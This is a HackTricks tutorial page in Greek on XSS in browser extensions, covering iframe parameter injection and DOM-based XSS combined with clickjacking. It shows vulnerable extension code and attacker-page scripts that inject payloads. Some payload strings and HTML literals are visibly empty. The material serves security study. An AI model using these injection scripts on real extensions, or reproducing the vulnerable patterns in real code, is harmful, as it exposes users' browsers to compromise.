# BrowExt - XSS Example {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Cross-Site Scripting (XSS) μέσω Iframe Σε αυτή τη ρύθμιση, ένα **content script** υλοποιείται για να δημιουργήσει ένα Iframe, ενσωματώνοντας μια διεύθυνση URL με παραμέτρους ερωτήματος ως πηγή του Iframe: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details"; frame.src = constructedURL; }); ``` Μια δημόσια προσβάσιμη σελίδα HTML, **`message.html`**, έχει σχεδιαστεί για να προσθέτει δυναμικά περιεχόμενο στο σώμα του εγγράφου με βάση τις παραμέτρους στη διεύθυνση URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); let userContent = urlParams.get("content"); $(document.body).html(`${userContent} `); $('#detailBtn').on('click', () => { let destinationURL = urlParams.get("redirect"); chrome.tabs.create({ url: destinationURL }); }); }); ``` Ένα κακόβουλο σενάριο εκτελείται στη σελίδα ενός αντιπάλου, τροποποιώντας την παράμετρο `content` της πηγής του Iframe για να εισάγει ένα **XSS payload**. Αυτό επιτυγχάνεται ενημερώνοντας την πηγή του Iframe για να περιλαμβάνει ένα επιβλαβές σενάριο: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; let baseURL = targetFrame.split('?')[0]; let xssPayload = ""; let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; document.querySelector("iframe").src = maliciousURL; }, 1000); ``` Μια υπερβολικά επιτρεπτική Πολιτική Ασφαλείας Περιεχομένου όπως: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` επιτρέπει την εκτέλεση JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS. Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως την παράμετρο `content`: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent(""); document.body.append(newFrame); ``` ## DOM-based XSS + ClickJacking Αυτό το παράδειγμα προήλθε από την [αρχική ανάρτηση](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Το κύριο πρόβλημα προέρχεται από μια ευπάθεια Cross-site Scripting (XSS) που βασίζεται στο DOM, η οποία βρίσκεται στο **`/html/bookmarks.html`**. Ο προβληματικός JavaScript, μέρος του **`bookmarks.js`**, αναλύεται παρακάτω: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); if ($('.custom-button .label').filter(function() { return $(this).text() === bookmarkName; }).length) return false; var bookmarkItem = $('
'); bookmarkItem.html('' + bookmarkName + ''); bookmarkItem.append(''); bookmarkItem.attr('data-title', bookmarkName); bookmarkItem.data('timestamp', (new Date().getTime())); $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` Αυτό το απόσπασμα ανακτά την **τιμή** από το **`txtName`** πεδίο εισόδου και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προσαρτάται στο DOM χρησιμοποιώντας τη μέθοδο `.append()` της jQuery. Συνήθως, η Πολιτική Ασφάλειας Περιεχομένου (CSP) της επέκτασης Chrome θα εμπόδιζε τέτοιες ευπάθειες. Ωστόσο, λόγω της **χαλάρωσης CSP με ‘unsafe-eval’** και της χρήσης μεθόδων χειρισμού DOM της jQuery (οι οποίες χρησιμοποιούν [`globalEval()`](https://api.jquery.com/jquery.globaleval/) για να περάσουν σενάρια στο [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι ακόμα δυνατή. Ενώ αυτή η ευπάθεια είναι σημαντική, η εκμετάλλευσή της εξαρτάται συνήθως από την αλληλεπίδραση του χρήστη: επισκεπτόμενος τη σελίδα, εισάγοντας ένα XSS payload και ενεργοποιώντας το κουμπί “Προσθήκη”. Για να ενισχυθεί αυτή η ευπάθεια, εκμεταλλεύεται μια δευτερεύουσα ευπάθεια **clickjacking**. Το μανιφέστο της επέκτασης Chrome παρουσιάζει μια εκτενή πολιτική `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Σημαντικά, η **`/html/bookmarks.html`** σελίδα είναι επιρρεπής σε framing, επομένως ευάλωτη σε **clickjacking**. Αυτή η ευπάθεια εκμεταλλεύεται για να πλαισιώσει τη σελίδα μέσα σε έναν ιστότοπο του επιτιθέμενου, επικαλύπτοντάς την με στοιχεία DOM για να ανασχεδιάσει παραπλανητικά τη διεπαφή. Αυτή η χειραγώγηση οδηγεί τα θύματα να αλληλεπιδρούν με την υποκείμενη επέκταση ακούσια. ## Αναφορές * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}